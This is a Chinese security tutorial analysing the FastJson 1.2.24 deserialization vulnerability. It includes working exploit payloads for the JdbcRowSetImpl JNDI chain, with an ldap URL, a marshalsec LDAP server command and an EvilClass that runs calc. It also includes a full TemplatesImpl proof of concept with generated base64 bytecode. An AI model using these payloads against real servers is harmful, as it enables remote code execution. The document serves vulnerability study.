相关推荐recommended
【java安全】FastJson反序列化漏洞浅析
作者:mmseoamin日期:2024-04-27

文章目录

    • 【java安全】FastJson反序列化漏洞浅析
      • 0x00.前言
      • 0x01.FastJson概述
      • 0x02.FastJson使用
        • 序列化与反序列化
        • 0x03.反序列化漏洞
        • 0x04.漏洞触发条件
        • 0x05.漏洞攻击方式
          • JdbcRowSetImpl利用链
          • TemplatesImpl利用链
            • **漏洞版本**
            • POC
            • 漏洞分析

              【java安全】FastJson反序列化漏洞浅析

              0x00.前言

              前面我们学习了RMI和JNDI知识,接下来我们就可以来了解一下FastJson反序列化

              0x01.FastJson概述

              FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以将JSON字符串反序列化到JavaBean

              0x02.FastJson使用

              首先我们需要使用maven导入一个fastjson的jar包,这里选择1.2.24版本

              
                    com.alibaba
                    fastjson
                    1.2.24
              
              
              序列化与反序列化

              首先创建一个标准的javabean:User类

              package com.leekos.serial;
              public class User {
                  private String name;
                  private int age;
                  public User() {
                      System.out.println("无参构造");
                  }
                  public User(String name, int age) {
                      System.out.println("有参构造");
                      this.name = name;
                      this.age = age;
                  }
                  public String getName() {
                      System.out.println("调用了get方法");
                      return name;
                  }
                  public void setName(String name) {
                      System.out.println("调用了set方法");
                      this.name = name;
                  }
                  public int getAge() {
                      return age;
                  }
                  public void setAge(int age) {
                      this.age = age;
                  }
                  @Override
                  public String toString() {
                      return "User{" +
                              "name='" + name + '\'' +
                              ", age=" + age +
                              '}';
                  }
              }
              

              测试一下fastjson中的方法:

              • JSON.toJSONString(obj) 将javabean转化为json字符串
              • JSON.parse(s) 将json字符串反序列化
              • JSON.parseObject(s) 将json字符串反序列化
              • JSON.parseObject(s,Object.class) 将json字符串反序列化
                public class JsonTest {
                    public static void main(String[] args) {
                        User user = new User("leekos",20);
                        // 序列化
                        String serializeStr = JSON.toJSONString(user);
                        System.out.println("serializeStr=" + serializeStr);
                        System.out.println("------------------------------------------------------------------");
                        //通过parse方法进行反序列化,返回的是一个JSONObject
                        Object obj1 = JSON.parse(serializeStr);
                        System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
                        System.out.println("parse反序列化:" + obj1);
                        System.out.println("------------------------------------------------------------------");
                        //通过parseObject,不指定类,返回的是一个JSONObject
                        JSONObject obj2 = JSON.parseObject(serializeStr);
                        System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
                        System.out.println("parseObject反序列化:" + obj2);
                        System.out.println("------------------------------------------------------------------");
                        //通过parseObject,指定类后返回的是一个相应的类对象
                        User obj3 = JSON.parseObject(serializeStr, User.class);
                        System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
                        System.out.println("parseObject反序列化:" + obj3);
                    }
                }
                

                输出:

                有参构造
                调用了get方法
                serializeStr={"age":20,"name":"leekos"}
                ------------------------------------------------------------------
                parse反序列化对象名称:com.alibaba.fastjson.JSONObject
                parse反序列化:{"name":"leekos","age":20}
                ------------------------------------------------------------------
                parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
                parseObject反序列化:{"name":"leekos","age":20}
                ------------------------------------------------------------------
                无参构造
                调用了set方法
                parseObject反序列化对象名称:com.leekos.serial.User
                parseObject反序列化:User{name='leekos', age=20}
                

                通过观察,我们可以知道:(不使用SerializerFeature.WriteClassName参数)

                • 使用JSON.toJSONString(obj)将javabean序列化的时候会调用get()方法
                • 使用JSON.parse(s)会将json串反序列化为JSONObject对象,并没有真正反序列化,没有调用任何方法
                • 使用JSON.parseObject(s)会将json串反序列化为JSONObject对象,并没有真正反序列化,没有调用任何方法
                • 当我们指定了JSON.parseObject(s,User.class)函数的第二个参数为指定类的字节码时,我们可以正确反序列化,并且会调用set()方法

                  通过以上的分析,我们可能会想json串中没有与类有关的标识,我们怎么才知道这个json串反序列化对应的对象是什么类型呢?

                  这个时候就需要用到JSON.toJSONString(obj,SerializerFeature.WriteClassName)的第二个参数了,如果该参数为SerializerFeature.WriteClassName那么在序列化javabean时就会在json串中写下类的名字,保存在@type关键字中

                  传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。

                  我们将上面的代码更改一下:

                  String serializeStr = JSON.toJSONString(user,SerializerFeature.WriteClassName);
                  

                  输出:

                  有参构造
                  调用了get方法
                  serializeStr={"@type":"com.leekos.serial.User","age":20,"name":"leekos"}
                  ------------------------------------------------------------------
                  无参构造
                  调用了set方法
                  parse反序列化对象名称:com.leekos.serial.User
                  parse反序列化:User{name='leekos', age=20}
                  ------------------------------------------------------------------
                  无参构造
                  调用了set方法
                  调用了get方法
                  parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
                  parseObject反序列化:{"name":"leekos","age":20}
                  ------------------------------------------------------------------
                  无参构造
                  调用了set方法
                  parseObject反序列化对象名称:com.leekos.serial.User
                  parseObject反序列化:User{name='leekos', age=20}
                  

                  经过分析,我们可以知道:

                  • 当反序列成功时,parse()、parseObject()都会调用set()方法
                  • JSON.parseObject()只有在第二个参数指定类,才会反序列化成功
                  • 在字符串中使用"@type":"com.leekos.serial.User"指定类,当使用JSON.parseObject()且不指定第二个参数时,会调用set()、get()方法,但会转化为JSONObject对象
                  • 使用JSON.parse()方法,无法使用参数指定反序列化的类,它通过识别json串中的@type来反序列化为指定类

                    0x03.反序列化漏洞

                    其实上面就有一个很敏感的问题,如果@type为恶意类的话,就可以通过触发set()、get()方法来做一些恶意操作了

                    漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。

                    我们先编写一个恶意类:

                    package com.leekos.rce;
                    import java.io.IOException;
                    public class ExecObj {
                        private String name;
                        public ExecObj() {
                        }
                        public ExecObj(String name) {
                            this.name = name;
                        }
                        public String getName() {
                            return name;
                        }
                        public void setName(String name) throws IOException {
                            Runtime.getRuntime().exec("calc");
                            this.name = name;
                        }
                        @Override
                        public String toString() {
                            return "ExecObj{" +
                                    "name='" + name + '\'' +
                                    '}';
                        }
                    }
                    

                    添加SerializerFeature.WriteClassName后然后使用JSON.parseObject()反序列化:

                    public class Test {
                        public static void main(String[] args) {
                            String s = "{\"@type\":\"com.leekos.rce.ExecObj\",\"name\":\"leekos\"}";
                            Object o = JSON.parseObject(s);
                        }
                    }
                    

                    成功调用set()方法:

                    【java安全】FastJson反序列化漏洞浅析,image-20230821142758785,第1张


                    0x04.漏洞触发条件

                    不过在FastJson中还需要满足某些条件:

                    getter自动调用还需要满足以下条件:

                    • 方法名长度大于4
                    • 非静态方法
                    • 以get开头且第四个字母为大写
                    • 无参数传入
                    • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

                      setter自动调用需要满足以下条件:

                      • 方法名长度大于4
                      • 非静态方法
                      • 返回值为void或者当前类
                      • 以set开头且第四个字母为大写
                      • 参数个数为1个

                        除此之外Fastjson还有以下功能点:

                        1. 如果目标类中私有变量没有setter方法,但是在反序列化时仍想给这个变量赋值,则需要使用Feature.SupportNonPublicField参数
                        2. fastjson 在为类属性寻找getter/setter方法时,调用函数com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_ -字符串
                        3. fastjson 在反序列化时,如果Field类型为byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue进行base64解码,在序列化时也会进行base64编码

                        0x05.漏洞攻击方式

                        在Fastjson这个反序列化漏洞中是使用TemplatesImpl和JdbcRowSetImpl构造恶意代码实现命令执行,TemplatesImpl这个类,想必前面调试过这么多链后,对该类也是比较熟悉。他的内部使用的是类加载器,去进行new一个对象,这时候定义的恶意代码在静态代码块中,就会被执行。再来说说后者JdbcRowSetImpl是需要利用到前面学习的JNDI注入来实现攻击的。

                        这里介绍两种方式:

                        • TemplatesImpl链
                        • JdbcRowSetImpl链
                          JdbcRowSetImpl利用链

                          JNDI注入利用链是通用性最强的利用方式,在以下三种反序列化中均可使用:

                          parse(jsonStr)
                          parseObject(jsonStr)
                          parseObject(jsonStr,Object.class)
                          

                          这里JNDI注入利用的是JdbcRowSetImpl ,由于需要使用JNDI,所以我们全局查找一下lookup()

                          【java安全】FastJson反序列化漏洞浅析,image-20230821173352644,第2张

                          发现lookup()会在connect()函数中被调用,并且传入参数this.getDataSourceName(),

                          public void setDataSourceName(String var1) throws SQLException {
                                  if (this.getDataSourceName() != null) {
                                      if (!this.getDataSourceName().equals(var1)) {
                                          String var2 = this.getDataSourceName();
                                          super.setDataSourceName(var1);
                                          this.conn = null;
                                          this.ps = null;
                                          this.rs = null;
                                          this.propertyChangeSupport.firePropertyChange("dataSourceName", var2, var1);
                                      }
                                  } else {
                                      super.setDataSourceName(var1);  //赋值
                                      this.propertyChangeSupport.firePropertyChange("dataSourceName", (Object)null, var1);
                                  }
                              }
                          

                          setDataSourceName()函数会对dataSourceName赋值,并且这个函数是setxxx()形式。即dataSourceName可控

                          然后我们需要寻找哪里能调用connect()函数,并且这个函数是setxxx()形式:

                          public void setAutoCommit(boolean var1) throws SQLException {
                              if (this.conn != null) {
                                  this.conn.setAutoCommit(var1);
                              } else {
                                  this.conn = this.connect();
                                  this.conn.setAutoCommit(var1);
                              }
                          }
                          

                          找到了一个setAutoCommit(),这就能简单构造一个json串了

                          {
                              "@type":"com.sun.rowset.JdbcRowSetImpl", 
                              //调用com.sun.rowset.JdbcRowSetImpl函数中的setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
                              "dataSourceName":"ldap://127.0.0.1:1389/Exploit", 
                              "autoCommit":true // 之后再调用setAutoCommit函数,传入true
                          }
                          

                          Demo

                          public class Demo {
                              public static void main(String[] args) {
                                  String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/leekos\",\"autoCommit\":true}";
                                  JSON.parse(exp);
                              }
                          }
                          

                          首先我们先使用插件:marshalsec起一个ldap服务:

                          (这里url指向本地的8090端口的EvilClass.class文件)

                          java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#EvilClass
                          

                          然后python起一个http服务(8090端口),目录中有一个EvilClass.class文件:

                          python3 -m http.server 8090
                          

                          EvilClass.java源码

                          import javax.naming.Context;
                          import javax.naming.Name;
                          import javax.naming.spi.ObjectFactory;
                          import java.io.IOException;
                          import java.util.Hashtable;
                          public class EvilClass implements ObjectFactory {
                              static {
                                  System.out.println("hello,static~");
                              }
                              public EvilClass() throws IOException {
                                  System.out.println("constructor~");
                              }
                              @Override
                              public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {
                                  Runtime.getRuntime().exec("calc");
                                  System.out.println("hello,getObjectInstance~");
                                  return null;
                              }
                          }
                          

                          这里使用javac(jdk7u21)编译一下

                          运行:

                          【java安全】FastJson反序列化漏洞浅析,image-20230821174611972,第3张

                          TemplatesImpl利用链
                          漏洞版本

                          fastjson 1.22-1.24

                          POC
                          import com.alibaba.fastjson.JSON;
                          import com.alibaba.fastjson.parser.Feature;
                          import com.alibaba.fastjson.parser.ParserConfig;
                          import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
                          import javassist.ClassPool;
                          import javassist.CtClass;
                          import org.apache.commons.codec.binary.Base64;
                          public class Test {
                              //最终执行payload的类的原始模型
                              //ps.要payload在static模块中执行的话,原始模型需要用static方式。
                              public static class lala{
                              }
                              //返回一个在实例化过程中执行任意代码的恶意类的byte码
                              //如果对于这部分生成原理不清楚,参考以前的文章
                              public static byte[] getevilbyte() throws Exception {
                                  ClassPool pool = ClassPool.getDefault();
                                  CtClass cc = pool.get(lala.class.getName());
                                  //要执行的最终命令
                                  String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
                                  //之前说的静态初始化块和构造方法均可,这边用静态方法
                                  cc.makeClassInitializer().insertBefore(cmd);
                          //        CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
                          //        cons.setBody("{"+cmd+"}");
                          //        cc.addConstructor(cons);
                                  //设置不重复的类名
                                  String randomClassName = "LaLa"+System.nanoTime();
                                  cc.setName(randomClassName);
                                  //设置满足条件的父类
                                  cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
                                  //获取字节码
                                  return cc.toBytecode();
                              }
                              //生成payload,触发payload
                              public static void  poc() throws Exception {
                                  //生成攻击payload
                                  byte[] evilCode = getevilbyte();//生成恶意类的字节码
                                  String evilCode_base64 = Base64.encodeBase64String(evilCode);//使用base64封装
                                  final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
                                  String text1 = "{"+
                                          "\"@type\":\"" + NASTY_CLASS +"\","+
                                          "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                                          "'_name':'a.b',"+
                                          "'_tfactory':{ },"+
                                          "'_outputProperties':{ }"+
                                          "}\n";
                                  //此处删除了一些我觉得没有用的参数(第二个_name,_version,allowedProtocols),并没有发现有什么影响
                                  System.out.println(text1);
                                  //服务端触发payload
                                  ParserConfig config = new ParserConfig();
                                  Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
                                  
                                  //Object obj = JSON.parseObject(text1, Feature.SupportNonPublicField);
                              }
                              //main函数调用以下poc
                              public static void main(String[] args){
                                  try {
                                      poc();
                                  } catch (Exception e) {
                                      e.printStackTrace();
                                  }
                              }
                          }
                          

                          我们执行一下,弹出计算器:

                          【java安全】FastJson反序列化漏洞浅析,image-20230821153456387,第4张

                          json串:

                          {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAsTGNvbS9sZWVrb3MvRmFzdEpzb25UZW1wbGF0ZXNJbXBsL1Rlc3QkbGFsYTsBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAEAAUHABMBACpjb20vbGVla29zL0Zhc3RKc29uVGVtcGxhdGVzSW1wbC9UZXN0JGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAlY29tL2xlZWtvcy9GYXN0SnNvblRlbXBsYXRlc0ltcGwvVGVzdAEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAEkxhTGE0Mjk4NDA5NDYzMzcwMAEAFExMYUxhNDI5ODQwOTQ2MzM3MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAEAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
                          
                          漏洞分析

                          使用TemplatesImpl链的形式触发FastJson反序列化漏洞利用条件比较苛刻

                          • 服务端使用JSON.parse()时,需要JSON.parse(s,Feature.SupportNonPublicField);
                          • 服务端使用parseObject()时,必须使用如下格式才能触发漏洞: JSON.parseObject(input, Object.class, Feature.SupportNonPublicField); 、JSON.parseObject(input, Feature.SupportNonPublicField);

                            因为payload需要赋值的一些属性为private属性,服务端必须添加特性才会去json中恢复private属性的数据

                            其实根据上面的poc,我们会有几个疑问:

                            • 如果支队_bytecodes插入恶意代码,为什么需要构造这么多值
                            • _bytecodes中的值为什么要base64加密
                            • 发序列化为什么要加入Feature.SupportNonPublicField参数值
                              1. @type :用于存放反序列化时的目标类型,这里指定的是TemplatesImpl这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发;
                              2. _bytecodes:继承AbstractTranslet 类的恶意类字节码,并且使用Base64编码
                              3. _name:调用getTransletInstance 时会判断其是否为null,为null直接return,不会往下进行执行,利用链就断了,可参考cc2和cc4链。
                              4. _tfactory:defineTransletClasses 中会调用其getExternalExtensionsMap 方法,为null会出现异常,但在前面分析jdk7u21链的时候,部分jdk并未发现该方法。
                              5. outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其getOutputProperties 方法,导致bytecodes字节码成功实例化,造成命令执行

                              前面说到的之所以加入Feature.SupportNonPublicField才能触发是因为Feature.SupportNonPublicField的作用是支持反序列化使用非public修饰符保护的属性,在Fastjson中序列化private属性。